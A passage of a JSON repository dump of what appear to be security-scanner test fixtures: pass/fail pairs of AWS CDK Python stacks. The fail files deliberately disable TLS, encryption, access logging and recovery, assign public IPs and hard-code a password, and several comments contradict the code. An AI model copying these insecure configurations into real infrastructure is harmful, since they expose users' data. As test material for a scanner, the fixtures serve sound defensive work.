    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass MyDocDBClusterStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon DocumentDB cluster with storage encryption enabled\n        docdb_cluster = docdb.CfnDBCluster(\n            self,\n            \"MyDocDBCluster\",\n            db_cluster_identifier=\"my-docdb-cluster\",\n            master_username=\"admin\",\n            master_user_password=\"mypassword\", # checkov:skip=CKV_SECRET_6 test secret\n            storage_encrypted=True,  # Enable storage encryption\n            availability_zones=[\"us-east-1a\", \"us-east-1b\"],  # Specify the availability zones\n            port=27017,  # Specify the port as needed\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBTLS/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass MyDocDBParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define DocDB Cluster Parameter Group with 'tls' parameter set to 'disabled'\n        docdb.CfnDBClusterParameterGroup(\n            self, 'MyDocDBClusterParameterGroup',\n            description='My DocDB Parameter Group',\n            family='docdb4.0',\n            parameters={\n                'tls': 'disabled'\n            }\n            # Other properties as needed\n        )\n\napp = core.App()\nMyDocDBParameterGroupStack(app, \"MyDocDBParameterGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DocDBTLS/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_docdb as docdb\n\nclass MyDocDBParameterGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define DocDB Cluster Parameter Group with 'tls' parameter set to 'disabled'\n        docdb.CfnDBClusterParameterGroup(\n            self, 'MyDocDBClusterParameterGroup',\n            description='My DocDB Parameter Group',\n            family='docdb4.0',\n            parameters={\n                'tls': 'enabled'\n            }\n            # Other properties as needed\n        )\n\napp = core.App()\nMyDocDBParameterGroupStack(app, \"MyDocDBParameterGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DynamodbGlobalTableRecovery/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dynamodb as dynamodb\n\nclass DynamoDBGlobalTableStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DynamoDB Global Table\n        global_table = dynamodb.CfnGlobalTable(\n            self, \"MyGlobalTable\",\n            replication_group=[{\"region_name\": \"us-east-1\"}, {\"region_name\": \"us-west-2\"}],\n            table_name=\"MyGlobalTable\",\n            replicas=[\n                dynamodb.CfnGlobalTable.ReplicaSpecificationProperty(\n                    point_in_time_recovery_specification=dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty(\n                        point_in_time_recovery_enabled=False\n                    )\n                )\n            ]\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DynamodbGlobalTableRecovery/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dynamodb as dynamodb\n\nclass DynamoDBGlobalTableStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DynamoDB Global Table\n        global_table = dynamodb.CfnGlobalTable(\n            self, \"MyGlobalTable\",\n            replication_group=[{\"region_name\": \"us-east-1\"}, {\"region_name\": \"us-west-2\"}],\n            table_name=\"MyGlobalTable\",\n            replicas=[\n                dynamodb.CfnGlobalTable.ReplicaSpecificationProperty(\n                    point_in_time_recovery_specification=dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty(\n                        point_in_time_recovery_enabled=True\n                    )\n                )\n            ]\n        )"
  },
  {
    "path": "cdk_integration_tests/src/python/DynamodbRecovery/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dynamodb as dynamodb\n\nclass MyDynamoDBStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DynamoDB table with PointInTimeRecoveryEnabled set to True\n        dynamodb_table = dynamodb.Table(\n            self,\n            \"MyDynamoDBTable\",\n            table_name=\"MyTableName\",\n            partition_key=dynamodb.Attribute(name=\"PartitionKey\", type=dynamodb.AttributeType.STRING),\n            point_in_time_recovery=False,  # Set PointInTimeRecoveryEnabled to True\n            removal_policy=core.RemovalPolicy.DESTROY,  # Specify the removal policy as needed\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/DynamodbRecovery/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_dynamodb as dynamodb\n\nclass MyDynamoDBStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create a DynamoDB table with PointInTimeRecoveryEnabled set to True\n        dynamodb_table = dynamodb.Table(\n            self,\n            \"MyDynamoDBTable\",\n            table_name=\"MyTableName\",\n            partition_key=dynamodb.Attribute(name=\"PartitionKey\", type=dynamodb.AttributeType.STRING),\n            point_in_time_recovery=True,  # Set PointInTimeRecoveryEnabled to True\n            removal_policy=core.RemovalPolicy.DESTROY,  # Specify the removal policy as needed\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EBSEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyVolumeStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an EBS volume without encryption\n        ebs_volume = ec2.Volume(\n            self,\n            \"MyEBSVolume\",\n            availability_zone=\"us-east-1a\",  # Replace with your desired availability zone\n            size=100,  # Set the size of the volume as needed\n            encrypted=False,  # Disable encryption (default is False)\n            volume_type=ec2.EbsDeviceVolumeType.GP2,  # Specify the volume type\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EBSEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyVolumeStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an EBS volume with encryption enabled\n        ebs_volume = ec2.Volume(\n            self,\n            \"MyEBSVolume\",\n            availability_zone=\"us-east-1a\",  # Replace with your desired availability zone\n            size=100,  # Set the size of the volume as needed\n            encrypted=True,  # Enable encryption\n            volume_type=ec2.EbsDeviceVolumeType.GP2,  # Specify the volume type\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EC2PublicIP/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyEC2InstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define VPC for the EC2 Instance\n        vpc = ec2.Vpc(\n            self, 'MyVpc',\n            max_azs=2  # Replace with the desired number of Availability Zones\n        )\n\n        # Define EC2 Instance with Network Interface having Public IP\n        instance = ec2.CfnInstance(\n            self, 'MyEC2Instance',\n            image_id='ami-12345678',  # Replace with your desired AMI ID\n            instance_type='t2.micro',  # Replace with your desired instance type\n            network_interfaces=[{\n                'associate_public_ip_address': True\n            }]\n            # Other properties for your EC2 Instance\n        )\n\napp = core.App()\nMyEC2InstanceStack(app, \"MyEC2InstanceStack\")\napp.synth()\n\nclass MyEC2LaunchTemplateStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Launch Template for the EC2 Instance\n        launch_template = ec2.CfnLaunchTemplate(\n            self, 'MyLaunchTemplate',\n            launch_template_name='my-launch-template',\n            launch_template_data={\n                'network_interfaces': [{\n                    'associate_public_ip_address': True\n                }]\n                # Other properties for your Launch Template Data\n            }\n        )\n\napp = core.App()\nMyEC2LaunchTemplateStack(app, \"MyEC2LaunchTemplateStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EC2PublicIP/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyEC2InstanceStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define VPC for the EC2 Instance\n        vpc = ec2.Vpc(\n            self, 'MyVpc',\n            max_azs=2  # Replace with the desired number of Availability Zones\n        )\n\n        # Define EC2 Instance with Network Interface having Public IP\n        instance = ec2.CfnInstance(\n            self, 'MyEC2Instance',\n            image_id='ami-12345678',  # Replace with your desired AMI ID\n            instance_type='t2.micro',  # Replace with your desired instance type\n            network_interfaces=[{\n                'deviceIndex': '0',\n                'subnet_id': vpc.public_subnets[0].subnet_id,\n                'associate_public_ip_address': False\n            }]\n            # Other properties for your EC2 Instance\n        )\n\napp = core.App()\nMyEC2InstanceStack(app, \"MyEC2InstanceStack\")\napp.synth()\n\nclass MyEC2LaunchTemplateStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Launch Template for the EC2 Instance\n        launch_template = ec2.CfnLaunchTemplate(\n            self, 'MyLaunchTemplate',\n            launch_template_name='my-launch-template',\n            launch_template_data={\n                'network_interfaces': [{\n                    'deviceIndex': '0',\n                    'associate_public_ip_address': False\n                }]\n                # Other properties for your Launch Template Data\n            }\n        )\n\napp = core.App()\nMyEC2LaunchTemplateStack(app, \"MyEC2LaunchTemplateStack\")\napp.synth()\n\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRImageScanning/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an ECR repository with image scanning on push enabled\n        ecr_repository = ecr.Repository(\n            self,\n            \"MyECRRepository\",\n            repository_name=\"my-ecr-repo\",\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRImageScanning/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an ECR repository with image scanning on push enabled\n        ecr_repository = ecr.Repository(\n            self,\n            \"MyECRRepository\",\n            repository_name=\"my-ecr-repo\",\n            image_scan_on_push=True,  # Enable image scanning on push\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRImmutableTags/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an ECR repository with immutable image tags\n        ecr_repository = ecr.Repository(\n            self,\n            \"MyECRRepository\",\n            repository_name=\"my-ecr-repo\",\n            image_tag_mutability=ecr.TagMutability.MUTABLE,  # Set image tag mutability to IMMUTABLE\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRImmutableTags/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an ECR repository with immutable image tags\n        ecr_repository = ecr.Repository(\n            self,\n            \"MyECRRepository\",\n            repository_name=\"my-ecr-repo\",\n            image_tag_mutability=ecr.TagMutability.IMMUTABLE,  # Set image tag mutability to IMMUTABLE\n        )\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRRepositoryEncrypted/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRRepositoryStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ECR Repository with Encryption Configuration\n        ecr.CfnRepository(\n            self, 'MyECRRepository',\n            repository_name='my-ecr-repo',\n        )\n\napp = core.App()\nMyECRRepositoryStack(app, \"MyECRRepositoryStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECRRepositoryEncrypted/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecr as ecr\n\nclass MyECRRepositoryStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ECR Repository with Encryption Configuration\n        ecr.CfnRepository(\n            self, 'MyECRRepository',\n            repository_name='my-ecr-repo',\n            encryption_configuration={\n                'encryptionType': 'KMS'\n            }\n            # Other properties for your ECR Repository\n        )\n\napp = core.App()\nMyECRRepositoryStack(app, \"MyECRRepositoryStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECSClusterContainerInsights/fail__1__.py",
    "content": "import aws_cdk as core\nfrom constructs import Construct\nfrom aws_cdk import aws_ecs as ecs\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyECSClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        vpc = ec2.Vpc(self, \"Vpc\",\n                      ip_protocol=ec2.IpProtocol.DUAL_STACK\n                      )\n\n        cluster = ecs.Cluster(self, \"EcsCluster\", vpc=vpc, container_insights=False)\n        cluster2 = ecs.Cluster(self, \"EcsCluster2\", vpc=vpc)\n        cluster3 = ecs.Cluster(self, \"EcsCluster3\", vpc=vpc, container_insights_v2=ecs.ContainerInsights.DISABLED)\n\n        cluster4 = ecs.CfnCluster(\n            self, 'MyECSCluster4',\n            cluster_name='my-ecs-cluster',\n            cluster_settings=[{\n                'name': 'containerInsights',\n                'value': 'disabled'\n            }]\n            # Other properties for your ECS Cluster\n        )\n\n        cluster5 = ecs.CfnCluster(\n            self, 'MyECSCluster5',\n            cluster_name='my-ecs-cluster'\n            # Other properties for your ECS Cluster\n        )\n\napp = core.App()\nMyECSClusterStack(app, \"MyECSClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECSClusterContainerInsights/pass.py",
    "content": "import aws_cdk as core\nfrom constructs import Construct\nfrom aws_cdk import aws_ecs as ecs\nfrom aws_cdk import aws_ec2 as ec2\n\nclass MyECSClusterStack(core.Stack):\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        vpc = ec2.Vpc(self, \"Vpc\",\n            ip_protocol=ec2.IpProtocol.DUAL_STACK\n        )\n\n        cluster = ecs.Cluster(self, \"EcsCluster\", vpc=vpc, container_insights=True)\n        cluster2 = ecs.Cluster(self, \"EcsCluster2\", vpc=vpc, container_insights_v2=ecs.ContainerInsights.ENHANCED)\n        cluster3 = ecs.Cluster(self, \"EcsCluster3\", vpc=vpc, container_insights_v2=ecs.ContainerInsights.ENABLED)\n\n        cluster4 = ecs.CfnCluster(\n            self, 'MyECSCluster4',\n            cluster_name='my-ecs-cluster',\n            cluster_settings=[{\n                'name': 'containerInsights',\n                'value': 'enabled'\n            }]\n            # Other properties for your ECS Cluster\n        )\n\n        cluster5 = ecs.CfnCluster(\n            self, 'MyECSCluster5',\n            cluster_name='my-ecs-cluster',\n            cluster_settings=[{\n                'name': 'containerInsights',\n                'value': 'enhanced'\n            }]\n            # Other properties for your ECS Cluster\n        )\n\napp = core.App()\nMyECSClusterStack(app, \"MyECSClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECSTaskDefinitionEFSVolumeEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecs as ecs\n\nclass MyECSTaskDefinitionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ECS Task Definition with an EFS volume configuration and transit encryption disabled\n        task_definition = ecs.CfnTaskDefinition(\n            self, 'MyTaskDefinition',\n            volumes=[\n                {\n                    'efs_volume_configuration': {\n                        'transit_encryption': 'DISABLED'\n                    }\n                }\n            ]\n            # Other properties for your ECS Task Definition\n        )\n\napp = core.App()\nMyECSTaskDefinitionStack(app, \"MyECSTaskDefinitionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ECSTaskDefinitionEFSVolumeEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_ecs as ecs\n\nclass MyECSTaskDefinitionStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ECS Task Definition with an EFS volume configuration and transit encryption disabled\n        task_definition = ecs.CfnTaskDefinition(\n            self, 'MyTaskDefinition',\n            volumes=[\n                {\n                    'efs_volume_configuration': {\n                        'transit_encryption': 'ENABLED'\n                    }\n                }\n            ]\n            # Other properties for your ECS Task Definition\n        )\n\napp = core.App()\nMyECSTaskDefinitionStack(app, \"MyECSTaskDefinitionStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EFSEncryptionEnabled/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_efs as efs\n\nclass EfsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        efs_file_system = efs.FileSystem(\n            self,\n            \"EfsFileSystem\",\n            encrypted=False,  # Set Encrypted property to False\n            lifecycle_policy=efs.LifecyclePolicy.AFTER_7_DAYS,\n        )\n\napp = core.App()\nEfsStack(app, \"EfsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EFSEncryptionEnabled/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_efs as efs\n\nclass EfsStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an EFS file system with the Encrypted property set to True\n        efs_file_system = efs.FileSystem(\n            self,\n            \"EfsFileSystem\",\n            encrypted=True,  # Set Encrypted property to True\n            lifecycle_policy=efs.LifecyclePolicy.AFTER_7_DAYS,\n        )\n\napp = core.App()\nEfsStack(app, \"EfsStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EKSSecretsEncryption/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_eks as eks\n\nclass MyEKSClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EKS Cluster with Encryption Configuration\n        cluster = eks.CfnCluster(\n            self, 'MyEKSCluster',\n            name='my-eks-cluster',\n            encryption_config=[{\n                'resources': ['abc']\n            }]\n            # Other properties for your EKS Cluster\n        )\n\napp = core.App()\nMyEKSClusterStack(app, \"MyEKSClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/EKSSecretsEncryption/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_eks as eks\n\nclass MyEKSClusterStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define EKS Cluster with Encryption Configuration\n        cluster = eks.CfnCluster(\n            self, 'MyEKSCluster',\n            name='my-eks-cluster',\n            encryption_config=[{\n                'resources': ['secrets']\n            }]\n            # Other properties for your EKS Cluster\n        )\n\napp = core.App()\nMyEKSClusterStack(app, \"MyEKSClusterStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ELBAccessLogs/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancing as elb\n\nclass MyLoadBalancerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elastic Load Balancer with access logging policy enabled\n        load_balancer = elb.CfnLoadBalancer(\n            self, 'MyLoadBalancer',\n            listeners=[\n                {\n                    'instancePort': '80',\n                    'instanceProtocol': 'HTTP',\n                    'loadBalancerPort': '80',\n                    'protocol': 'HTTP'\n                }\n            ],\n            access_logging_policy=elb.CfnLoadBalancer.AccessLoggingPolicyProperty(\n                enabled=False,\n                s3_bucket_name='my-access-logs-bucket',  # Replace with your S3 bucket name\n                emit_interval=5  # Adjust the interval as needed\n            )\n            # Other properties as needed for your Load Balancer\n        )\n\napp = core.App()\nMyLoadBalancerStack(app, \"MyLoadBalancerStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ELBAccessLogs/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancing as elb\n\nclass MyLoadBalancerStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elastic Load Balancer with access logging policy enabled\n        load_balancer = elb.CfnLoadBalancer(\n            self, 'MyLoadBalancer',\n            listeners=[\n                {\n                    'instancePort': '80',\n                    'instanceProtocol': 'HTTP',\n                    'loadBalancerPort': '80',\n                    'protocol': 'HTTP'\n                }\n            ],\n            access_logging_policy=elb.CfnLoadBalancer.AccessLoggingPolicyProperty(\n                enabled=True,\n                s3_bucket_name='my-access-logs-bucket',  # Replace with your S3 bucket name\n                emit_interval=5  # Adjust the interval as needed\n            )\n            # Other properties as needed for your Load Balancer\n        )\n\napp = core.App()\nMyLoadBalancerStack(app, \"MyLoadBalancerStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ELBv2AccessLogs/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyALBWithAccessLogs(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elastic Load Balancer V2 with access logs enabled\n        alb = elbv2.CfnLoadBalancer(\n            self, 'MyALB',\n            load_balancer_attributes=[\n                elbv2.CfnLoadBalancer.LoadBalancerAttributeProperty(\n                    key=\"access_logs.s3.enabled\",\n                    value=\"false\"\n                )\n            ],\n            # Other properties for your Application Load Balancer\n        )\n\napp = core.App()\nMyALBWithAccessLogs(app, \"MyALBWithAccessLogs\")\napp.synth()\n\nclass MyALBWithAccessLogs2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elastic Load Balancer V2 with access logs enabled\n        alb = elbv2.CfnLoadBalancer(\n            self, 'MyALB'\n        )\n\napp = core.App()\nMyALBWithAccessLogs2(app, \"MyALBWithAccessLogs2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ELBv2AccessLogs/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticloadbalancingv2 as elbv2\n\nclass MyALBWithAccessLogs(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define Elastic Load Balancer V2 with access logs enabled\n        alb = elbv2.CfnLoadBalancer(\n            self, 'MyALB',\n            load_balancer_attributes=[\n                elbv2.CfnLoadBalancer.LoadBalancerAttributeProperty(\n                    key=\"access_logs.s3.enabled\",\n                    value=\"true\"\n                )\n            ],\n            # Other properties for your Application Load Balancer\n        )\n\napp = core.App()\nMyALBWithAccessLogs(app, \"MyALBWithAccessLogs\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtRest/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass ElastiCacheReplicationGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon ElastiCache replication group\n        replication_group = elasticache.CfnReplicationGroup(\n            self,\n            \"MyElastiCacheReplicationGroup\",\n            replication_group_description=\"My Replication Group\",\n            automatic_failover_enabled=True,\n            replication_group_id=\"my-replication-group\",\n            cache_node_type=\"cache.m4.large\",\n            engine=\"redis\",\n            engine_version=\"5.0.6\",\n            num_node_groups=2,\n            cache_subnet_group_name=\"my-subnet-group\",\n            security_group_ids=[\"sg-0123456789abcdef0\"],\n        )\n\napp = core.App()\nElastiCacheReplicationGroupStack(app, \"ElastiCacheReplicationGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtRest/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass ElastiCacheReplicationGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an Amazon ElastiCache replication group\n        replication_group = elasticache.CfnReplicationGroup(\n            self,\n            \"MyElastiCacheReplicationGroup\",\n            replication_group_description=\"My Replication Group\",\n            automatic_failover_enabled=True,\n            replication_group_id=\"my-replication-group\",\n            cache_node_type=\"cache.m4.large\",\n            engine=\"redis\",\n            engine_version=\"5.0.6\",\n            num_node_groups=2,\n            cache_subnet_group_name=\"my-subnet-group\",\n            security_group_ids=[\"sg-0123456789abcdef0\"],\n            at_rest_encryption_enabled=True  # Enable encryption at rest\n        )\n\napp = core.App()\nElastiCacheReplicationGroupStack(app, \"ElastiCacheReplicationGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransit/fail__1__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass ElastiCacheReplicationGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS ElastiCache Replication Group\n        replication_group = elasticache.CfnReplicationGroup(\n            self,\n            \"MyElastiCacheReplicationGroup\",\n            replication_group_id=\"my-replication-group\",\n            replication_group_description=\"My ElastiCache Replication Group\",\n            cache_node_type=\"cache.m4.large\",\n            engine=\"redis\",\n            engine_version=\"5.0.6\",\n            port=6379,\n            num_cache_clusters=2,\n            automatic_failover_enabled=True,\n        )\n\napp = core.App()\nElastiCacheReplicationGroupStack(app, \"ElastiCacheReplicationGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransit/pass.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass ElastiCacheReplicationGroupStack(core.Stack):\n\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Create an AWS ElastiCache Replication Group\n        replication_group = elasticache.CfnReplicationGroup(\n            self,\n            \"MyElastiCacheReplicationGroup\",\n            replication_group_id=\"my-replication-group\",\n            replication_group_description=\"My ElastiCache Replication Group\",\n            cache_node_type=\"cache.m4.large\",\n            engine=\"redis\",\n            engine_version=\"5.0.6\",\n            port=6379,\n            num_cache_clusters=2,\n            automatic_failover_enabled=True,\n            transit_encryption_enabled=True  # Enable transit encryption\n        )\n\napp = core.App()\nElastiCacheReplicationGroupStack(app, \"ElastiCacheReplicationGroupStack\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/fail__2__.py",
    "content": "from aws_cdk import core\nfrom aws_cdk import aws_elasticache as elasticache\n\nclass MyElastiCacheReplicationGroupStack(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ElastiCache Replication Group with encryption and auth token\n        elasticache.CfnReplicationGroup(\n            self, 'MyElastiCacheReplicationGroup',\n            replication_group_description='MyReplicationGroup',\n            cache_node_type='cache.t2.small',\n            engine='redis',\n            engine_version='6.x',\n            num_node_groups=1,\n            automatic_failover_enabled=True,\n            transit_encryption_enabled=False,  # Enable transit encryption\n            auth_token='YourAuthTokenHere'  # Provide the auth token\n            # ... other properties as needed\n        )\n\napp = core.App()\nMyElastiCacheReplicationGroupStack(app, \"MyElastiCacheReplicationGroupStack\")\napp.synth()\n\nclass MyElastiCacheReplicationGroupStack2(core.Stack):\n    def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        # Define ElastiCache Replication Group with encryption and auth token\n        elasticache.CfnReplicationGroup(\n            self, 'MyElastiCacheReplicationGroup',\n            replication_group_description='MyReplicationGroup',\n            cache_node_type='cache.t2.small',\n            engine='redis',\n            engine_version='6.x',\n            num_node_groups=1,\n            automatic_failover_enabled=True,\n            transit_encryption_enabled=True,  # Enable transit encryption\n            # ... other properties as needed\n        )\n\napp = core.App()\nMyElastiCacheReplicationGroupStack2(app, \"MyElastiCacheReplicationGroupStack2\")\napp.synth()\n"
  },
  {
    "path": "cdk_integration_tests/src/python/ElasticacheReplicationGroupEncryptionAtTransitAuthToken/pass.py",
